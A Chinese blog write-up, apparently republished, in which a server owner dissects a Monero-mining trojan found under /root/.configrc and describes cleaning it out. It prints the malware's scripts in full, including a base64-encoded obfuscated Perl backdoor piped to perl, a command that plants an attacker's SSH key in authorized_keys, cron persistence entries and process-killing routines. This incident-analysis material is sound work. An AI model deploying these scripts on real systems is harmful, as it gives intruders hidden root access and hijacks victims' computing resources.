挖矿木马分析之肉鸡竟是我自己

之前服务器总是有一些异地登陆的告警信息,用代理就会这样,自己也没太在意。今天偶然间打开一看,发现如下提示!

接下来处理一下!

收集信息

finalshell登陆发现CPU占用率为100%
ps auxw|head -1;ps auxw|sort -rn -k3|head -10 查看CPU占用最多的前10个进程

罪魁祸首是第一个,其PID是3124。ls -ail /proc]/PID查看其绝对路径

.configrc文件内容如下(.configrc的名字是为了把自己和.config文件混淆)

先查看a文件

其中run文件内容如下:

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`if [ "$ARCH" == "i686" ]; thennohup ./anacron >>/dev/null &elif [ "$ARCH" == "x86_64" ];   then./kswapd0fi #闭合if
echo $! > bash.pid #用来判断run是否执行过

其先执行stop,再执行init0,然后把当前的路径写到dir.dir。根据是86位还是64位,执行不同的程序。

dir.dir内容如下:

/root/.configrc/a

stop内容如下

#!/bin/sh#cron守护周期性的执行任务
pkill -9 cron
killall -9 cron
kill -9 `ps x|grep cron|grep -v grep|awk '{print $1}'`>.proc#删除自己冒充的对象
pkill -9 kswapd0
killall -9 kswapd0
kill -9 `ps x|grep kswapd0|grep -v grep|awk '{print $1}'`>.proc#进程管理
pkill -9 systemd
killall -9 systemd
kill -9 `ps x|grep systemd|grep -v grep|awk '{print $1}'`>.proc#动态链接加载
pkill -9 ld-linux
killall -9 ld-linux
kill -9 `ps x|grep ld-linux|grep -v grep|awk '{print $1}'`>.proc#权限管理
pkill -9 Donald
killall -9 Donald
kill -9 `ps x|grep Donald|grep -v grep|awk '{print $1}'`>.proc#与挖矿有关
pkill -9 xmr
killall -9 xmr
kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`>.proc#服务器杀毒
pkill -9 xm64
killall -9 xm64
kill -9 `ps x|grep xm64|grep -v grep|awk '{print $1}'`>.proc
rm -rf .proc

init0内容如下。这个比较有趣,为了让自己有更多的资源,它先杀掉现有的挖矿进程。我谢谢你啊~

#!/bin/sh##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\# Killing processes by name, path, arguments and CPU utilization
processes(){killme() {killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &}killa() {what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&}killa 34e2fgkillme# Killing big CPUVAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)for word in $VARdoCPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')if [ $CPUUSAGE -gt 45 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;donekillall \.Historyskillall \.sshdkillall neptunekillall xm64killall xm32killall ld-linuxkillall xmrigkillall \.xmrigkillall suppoieuppkill -f sourplumpkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYgps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9ps auxf|grep Donald| awk '{print $2}'|xargs kill -9ps auxf|grep Macron| awk '{print $2}'|xargs kill -9ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9ps auxf|grep named| awk '{print $2}'|xargs kill -9ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9ps ax|grep -o './[0-9]* -c'| xargs pkill -fpkill -f /usr/bin/.sshdpkill -f acpidpkill -f Donaldpkill -f Macronpkill -f AnXqV.yampkill -f apacehapkill -f askdljlqwpkill -f bashepkill -f bashfpkill -f bashgpkill -f bashhpkill -f bashxpkill -f BI5zjpkill -f biosetjenkinspkill -f bonn.shpkill -f bonnspkill -f conn.shpkill -f connspkill -f cryptonightpkill -f crypto-poolpkill -f ddg.2011pkill -f deamonpkill -f disk_geniuspkill -f donnspkill -f Duck.shpkill -f gddrpkill -f Guard.shpkill -f i586pkill -f icb5opkill -f ir29xc1pkill -f irqba2anc1pkill -f irqba5xnc1pkill -f irqbalanc1pkill -f irqbalancepkill -f irqbnc1pkill -f JnKihGjnpkill -f jweripkill -f kw.shpkill -f kworker34pkill -f kxjdpkill -f libapachepkill -f Loopbackpkill -f lx26pkill -f mgwslpkill -f minerdpkill -f minergatepkill -f minexmrpkill -f mixnerdxpkill -f mstxmrpkill -f nanoWatchpkill -f nopxipkill -f NXLAipkill -f performedlpkill -f polkitdpkill -f pro.shpkill -f pythnopkill -f qW3xT.2pkill -f sourplumpkill -f stratumpkill -f sustespkill -f wnTKYgpkill -f XbashYpkill -f XJnRjpkill -f xmrigpkill -f xmrigDaemonpkill -f xmrigMinerpkill -f ysaydhpkill -f zigwpkill -f ld-linux# crondps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpidwhile read crondpiddoif [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]thenkill $crondpidrm -rf /var/tmp/v3fidone < /tmp/crondpidrm /tmp/crondpid -f# sshdps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpidwhile read sshdpiddoif [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]thenkill $sshdpidfidone < /tmp/ssdpidrm -f /tmp/ssdpid# syslogps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspidwhile read syslogpiddoif [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]thenkill  $syslogpidfidone < /tmp/syslogspidrm /tmp/syslogspid -fps x | grep 'b 22'| awk '{print $1,$5}' > .procscat .procs | while read linedopid=`echo $line | awk '{print $1;}'`name=`echo $line | awk '{print $2;}'`#echo $pid $name if [ $(echo $name | wc -c) -lt "13" ]thenecho "Found" $pid $namekill -9 $pidfidone####################################################ps x | grep 'd 22'| awk '{print $1,$5}' > .procscat .procs | while read linedopid=`echo $line | awk '{print $1;}'`name=`echo $line | awk '{print $2;}'`#echo $pid $name if [ $(echo $name | wc -c) -lt "13" ]thenecho "Found" $pid $namekill -9 $pidfidone}# Removing miners by known path IOC
files(){rm /tmp/.cronrm /tmp/Donald*rm /tmp/Macron*rm /tmp/.mainrm /tmp/.yam* -rfrm -f /tmp/irqrm -f /tmp/irq.shrm -f /tmp/irqbalanc1rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_geniusrm -rf /tmp/*httpd.confrm -rf /tmp/*httpd.conf*rm -rf /tmp/*index_bak*rm -rf /tmp/.systemd-private-*rm -rf /tmp/.xm*rm -rf /tmp/a7b104c270rm -rf /tmp/connrm -rf /tmp/connsrm -rf /tmp/httpd.confrm -rf /tmp/java*rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.sorm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ikrm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapacherm -rf /tmp/xm*rm -rf /var/tmp/java*
}# Killing and blocking miners by network related IOC
network(){# Kill by known ports/IPsnetstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}       files
processes
network
echo "DONE"

a内容如下:(检测cpu的信息)

#!/bin/sh
crontab -r  #删除定时任务。慎用
pwd > dir.dir #写入目录
dir=$(cat dir.dir)
echo "#!/bin/sh
cd $dir
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null" > updsysctl -w vm.nr_hugepages=$(nproc)for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
doecho 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
donemodprobe msrif cat /proc/cpuinfo | grep "AMD Ryzen" > /dev/null;thenecho "Detected Ryzen"wrmsr -a 0xc0011022 0x510000wrmsr -a 0xc001102b 0x1808cc16wrmsr -a 0xc0011020 0wrmsr -a 0xc0011021 0x40echo "MSR register values for Ryzen applied"
elif cat /proc/cpuinfo | grep "Intel" > /dev/null;thenecho "Detected Intel"wrmsr -a 0x1a4 6echo "MSR register values for Intel applied"
elseecho "No supported CPU detected"
fichmod u+x upd
chmod 777 *
./upd

其中还有upd

then
exit 0
fi
fi
./run &>/dev/null

b文件夹中,内容如下。

a文件

#!/bin/sh
pwd > dir.dir
dir=$(cat dir.dir)
cd $dir
./stop
echo "#!/bin/sh     #这里的输出是用来提出执行到那一步了
cd $dir
./run">sync
chmod u+x sync
chmod u+x stop
chmod u+x ps
chmod u+x run
./run

dir.dir

/root/.configrc/b

run

#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "ZXZhbCB1bnBhY2sgdT0+cXtfIkZVWSgiMVA8Rl1DOTctUztSYF0oIj1SPFdFTjhSPFsiQEhEPFY1Uj1GRUQ7VyhdKVMwVStDRE4sMzBYK0NEWSlSIVU7RlFFPFcsQCknLUU8RzlJXzkmXVIuUElNPjJgRDwmXVI9JiRdKVMwVCxSPFsiRlVZKCQhQzg2WUE6NyxdKiIoQywjYFcoQkRbIkZVWSgkIUE5JlVTLzJAQjwmXUw7J0RCKyIpTV87VlFMPjIoSS5QSU0+MiFgODc1VDojVE
......
FPPEYtRTtCKEkuUEhAKCdUKiJASEAoJylFPSc1UjtCQFAqM0wqPzBIKiJHLVU4QiFGOjdBQTkmMVIoJ0wqKCJgQF8oJlVZKCJARDg2MUQ8RjVTPFJEQC8yIWA3U0wqIkJgQCgiIUM6Jl1NPCJgRDg2MUQ8RjVTPFNMQCgiYEAoYEhAKCJgQDo2OEAqIjFBOSYxUjk3LVNfKCNVXigiXT43JjBLKSJcSSgnTCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OPSZdQSonIUE4VkxAKERYQisiYEQ4NjFEPEY1UzxSRFsiQmBAXygiIV0oJjVMPFZFRigiQEQ4NjFEPEY1UzxSYF0/QmBPN0VMUSxFVF83JjFbLDJQUj81UE42UyRSNzNdPDknTFErIyldNyJZOywzKT0vVVFEPlMkTF8sR1U8K0VMUSxFVF83JjFbLDJQUj8yME8qMiFbIkJgQCgiYEAoImBAPEY1VD03KU4oIjFBOSYxUjk3LVMuUEhAKCJgQD8yIUU7Jy1JOUJgSCkmJURfOScpRTxXLEAvN1hAPScoTzgyVVowMlU6K1JcSSgnTEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYEAoYEhAKCJgQCgiYEAoJylFPSc1UjtCIUk7RjVUXzdWWVQ7ViRIKiJBRzk3MUg7Vy1UOEdFTjg2VUUqIjFBOSYxUjk3LVMqMkU7LSVUSTZTIT0qM0wqKCJgQCgnVEA5NlFTOTIhWyJCYEAoImBAKCJgQC88RjVUPTcpTi5QSEAoImBAPzBJXX0=" | base64 --decode | perlcd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
root@VM-0-3-ubuntu:~/.configrc/b#

前面base64编码了,解码之后发现还被混淆了。别人的文章指出其是一个基于perl的后门工具。

最后果然是加入密钥连接!

stop

#!/bin/sh
killall -9 rsync > .out
killall -9 sync > .out
killall -9 perl> .out
killall -9 ps
killall -9 pool>.out
killall -9 nginx>.out
killall -9 ecryptfs>.out
killall -9 xmr>.outpkill -9 ps
pkill -9 pool
pkill -9 nginx
pkill -9 ecryptfs
pkill -9 xmr
pkill -9 synckill -9 `ps x|grep ps|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep sync|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep nginx|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep ecryptfs|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep perl|grep -v grep|awk '{print $1}'`> .out
kill -9 `ps x|grep rsync|grep -v grep|awk '{print $1}'`> .out
for pid in $(ps -ef | grep "rsync" | awk '{print $2}'); do kill -9 $pid; done> .out
for pid in $(ps -ef | grep "sync" | awk '{print $2}'); do kill -9 $pid; done> .out
pkill -9 rsync> .out
pkill -9 perl> .out
pkill -9 ps>.out
rm -rf .proc .out

sync

#!/bin/sh
cd /root/.configrc/b
./run

总文件

cron.d,保存要定时的内容

1 1 */2 * * /root/.configrc/a/upd>/dev/null 2>&1
@reboot /root/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /root/.configrc/b/sync>/dev/null 2>&1
@reboot /root/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

删除木马

1、

rm -rf .configrc/

删除文件后CPU占用率还是100%,kill正在运行的进程

kill -9 3124

这样之后CPU恢复正常。

2、查看进程的工作空间

ps -ef | grep kswapd0

3、查看定时任务


crontab -r删除之

4、把密钥登陆中的密钥删除了。

5、tmp

tmp中查看文件,文件有很复杂的结构。它好像是把我原来的/tmp打包放在了他的某个目录下面,然后新增了几个XX-unix文件,不管了,先删除。

未找到最开始提示的.X25-unix文件,猜测可是是完成指令之后为了逃避检测自己删除了或者是改名字了。

6、排查其他用户

没有发现被感染,所以应该还是root的弱口令问题....

攻击画像

前两天学习到了攻击画像这个非常高端的名次,大致意思就是描述攻击者的身份、攻击手法等。

1、地区
netstat -antlp 查看系统外部链接

查询发现是荷兰的ip。

查看登录记录及日志文件

只看今天的日志,尝试登陆的ip有如下几个

49.232.168.182 --- 北京
104.199.35.3 --- 比利时瓦隆大区圣吉斯兰
181.53.13.181 --- 哥伦比亚
134.175.240.28 --- 广东
121.5.142.246 --- 上海
189.154.98.68 --- 墨西哥奇瓦瓦州奇瓦瓦市
212.42.199.112 --- 亚美尼亚
45.248.189.3 --- 印度
....lastb #可以列出尝试登陆的信息

原来服务器每天被尝试登陆这么多次,辛苦了1551

2、

在百度的时候,发现它和木马dota3的攻击手法非常类似。
有文章指出其是WachtdogsMiner的挖矿蠕虫的变种,伪装成kswapd0进程利用cpu挖门罗币。运行机制如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/352827.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

电脑是否中挖矿病毒

『壹』 怎么检查自己电脑有没有被人用来挖矿&#xff0c;比特币 挖矿都是烧的显卡&#xff0c;以下方法可以鉴定自己显卡是不是矿卡 1&#xff1a;通过肉眼来识别这个硬件究竟是不是矿卡 &#xff0c;其实通过其他方式也可以测出&#xff0c;就比如说你到电脑里面去测矿卡的超…

诺顿360偷偷挖矿被怒喷 官方却说:都是为了用户好

杀毒软件诺顿360居然偷偷往电脑里装挖矿软件&#xff1f; 2022年刚开始&#xff0c;一位47万粉的“大V”在Twitter上就爆出了安全领域的猛料&#xff0c;还用f开头的单词亲切问候了软件厂商。 要知道&#xff0c;诺顿360可是在无数官推民选的排行榜中常年名列前茅&#xff0c;…

ETH挖矿显卡算力大全

大家买显卡挖ETH&#xff0c;肯定最关心算力了&#xff0c;这里我整理一版&#xff0c;供大家参考&#xff0c;目前只有主流的整理上了&#xff0c;后期会完善更多的供大家参考&#xff01; 欢迎大家加入大力矿工群&#xff1a;621159725 软件下载&#xff1a;百度云盘链接…

【网络安全】企业应急响应基础技能

windows 任务计划列表 1. 计算机管理窗口,选择 系统工具 中 任务计划程序 中的 任务计划程序库选项 可以查看任务计划的名称,状态,触发器等详细信息 2.powershell中输入get-scheduledtask 可以查看当前系统所有任务计划信息 任务路径,名称,状态等详细信息 3.命令行中输入s…

git commit之前,没有pull最新代码,导致无法push代码如何解决?——git三板斧

一、报错&#xff1a; 如果在 git commit 之前没有 pull 最新代码&#xff0c;再进行 push 操作可能会出现冲突&#xff0c;导致无法 push 代码。此时&#xff0c;git 会提示类似以下的错误信息&#xff1a; error: failed to push some refs to gitgithub.com:username/repo…

Github黑暗模式正式发布,Reddit直接飙至4k高赞

在 GitHub Universe 2020上,其中发布的新特性中最大的改变就是正式推出了黑暗模式,同时还宣布了针对公司的 GitHub 赞助功能,允许公司对关心的开源项目进行投资等。 你是否有过打开电脑被晃「瞎」的感觉? 最近,在GitHub Universe上,一款「暗黑」模式被推了出来。 官…

Win10系统开启黑暗主题

Win10系统开启黑暗主题教程 首先保证windows10系统版本号在2004-20H2及以上。小编此次更新的windows10版本号为20H2。 最新官方纯净版下载地址在msdn新官网中&#xff0c;官方地址&#xff1a;MSDN&#xff0c;我告诉你&#xff01; 登录后&#xff0c;选择windows10系统。 获…

Unity RPG 黑暗之光 问题记录 上 (1-63 地形场景 角色选择 行走 相机跟随、旋转、缩放 任务系统 面板栏 背包系统 状态系统)

001 游戏预览和介绍 职业选择 鼠标点击移动 旋转 缩放 药品 装备 任务NPC 状态 装备 技能 存档 代码跟原视频的有所改动&#xff0c;主要是主角行为逻辑 002 导入场景资源&#xff0c;搭建场景 3方资源&#xff1a;RPG NGUI StandarAssets 进去关闭自动生成 &#xff08;…

黑暗之魂3正在从服务器获取信息,黑暗之魂3如何解决入侵服务器问题 | 手游网游页游攻略大全...

发布时间&#xff1a;2016-01-04 今天为大家带来的是黑暗之魂3法兰守卫入侵方法,一起来看看吧! 黑暗之魂3 法兰守卫入侵方法 法兰守卫怎么入侵 今天为大家带来的是黑暗之魂3法兰守卫入侵方法,一起来看看吧! 你的游戏可能被防火墙禁止了——解决方法:找到你的 ... 标签&#xff…

quartz配置动态任务,从数据库读取相应的类及方法,执行任务(任务添加、修改、暂停、恢复)

界面 步骤&#xff1a;首先创建一个javabean---》创建Quartz工厂---》xmlSchedulerFactoryBean---》配置通过反射机制---》执行相应的service 1、bean package com.oppo.common.quartz;/*** quartz任务类* author xuchangcheng* 2018年8月24日**/ public class ScheduleJob {…

【Linux】-自动化构建工具(make/makefile)

作者&#xff1a;小树苗渴望变成参天大树 作者宣言&#xff1a;认真写好每一篇博客 作者gitee:gitee 如 果 你 喜 欢 作 者 的 文 章 &#xff0c;就 给 作 者 点 点 关 注 吧&#xff01; 文章目录 前言 前言 今天我们来讲讲再Linux中开发必备的一项技能&#xff0c;没有这个…

BERT中的黑暗秘密

点击上方“AI公园”&#xff0c;关注公众号&#xff0c;选择加“星标“或“置顶” 作者&#xff1a;Anna Rogers 编译&#xff1a;ronghuaiyang 导读 在finetune BERT的时候发生了什么&#xff1f; 这篇博客文章总结了我们EMNLP 2019年的论文“Revealing the Dark Secrets of B…

计算机竞赛游戏探险岛,冒险岛2主线任务攻略_第三章主线任务图文攻略

冒险岛2现已开启终极内测&#xff0c;很多玩家可能不知道主线任务怎么做&#xff0c;下面为大家带来冒险岛2第三章主线任务攻略(第三章&#xff1a;特别的任务)&#xff0c;一起来看看吧&#xff01; *冒险岛2第三章主线任务攻略 接下来要继续更新的&#xff0c;是冒险岛2主线任…

《黑暗之光》RPG游戏案例学习(8)——第四章 游戏任务系统

游戏任务系统 任务界面任务的接受与完成&#xff08;1&#xff09;点击NPC时&#xff0c;出现任务描述&#xff08;2&#xff09;接受任务后&#xff0c;出现任务提示&#xff08;3&#xff09;完成任务后&#xff0c;提交获取奖励 其他设计添加按钮音效鼠标指针管理系统 参考&…

黑暗逃生服务器显示无,《黑暗逃生》常见问题解决方法 游戏进不去?

本款游戏被称作一款3D版的狼人杀游戏&#xff0c;最近有很多玩家开始游玩这个游戏了&#xff0c;但是相对的游戏时常会出现些小问题&#xff0c;接下来小编就给大家带来这篇黑暗逃生常见问题解决方法&#xff0c;不要错过哦。 常见问题解决教程 1、游戏无法运行&#xff1a;“-…

黑暗逃生服务器显示无,《黑暗逃生》常见问题 已知问题及解决方案

今天发号哥和大家讲解《黑暗逃生》常见问题 已知问题及解决方案 黑暗逃生常见问题解决由发号哥小编给大家带来&#xff0c;大家在玩黑暗逃生的时候一定会遇到一些问题吗&#xff0c;小编给大家整合了黑暗逃生已知问题及解决方案&#xff0c;感兴趣的玩家一起来看看吧。 传奇最经…

RPG游戏《黑暗之光》流程介绍与代码分析之(四):任务系统的实现

第四章&#xff1a;任务系统 这部分主要对任务系统进行设计&#xff0c;游戏的关键因素之一就是任务系统与玩家的交互&#xff0c;但在代码实现中并不算复杂。本篇博客主要通过一下几个方面实现任务系统。 任务模型的导入与任务UI界面的创建任务的接受与完成针对不同对象的指针…

GoodTask 6.6.0 计划提醒任务管理工具

GoodTask是一款基于Apple提醒和日历、功能强大的任务/项目管理工具。它既可以用作简单的待办事项检查列表&#xff0c;也可以用作复杂的项目管理工具&#xff0c;帮助完成重大项目。GoodTask让您通过各种不同的视角来观看自己关注且需要完成的事务。有了GoodTask&#xff0c;您…

超黑光摄像机可以有多“黑“?

目前&#xff0c;市场标准黑光级IPC能在0.0005Lux(照度单位)的低照下维持彩色&#xff0c;但星光级或普通红外条件则必须依赖补光灯。那么有没有一款摄像机能达到超黑光的标准&#xff0c;能够在更暗环境下&#xff0c;不需要额外补光的情况下维持彩色呢&#xff1f; 超低照成像…

如何处理亿级图片排重(精准排重,相似排重)

图片相似度对比 1、需求 假如有一个图片池&#xff0c;存有1亿图片。给一张目标图片&#xff0c;在图片池中做匹配。 判断一张图片是否在图片池中出现过。&#xff08;完全一样&#xff09;判断有没有相似的出现过。比如两张图相似度90&#xff0c;两张图片是在描述一件事情。 …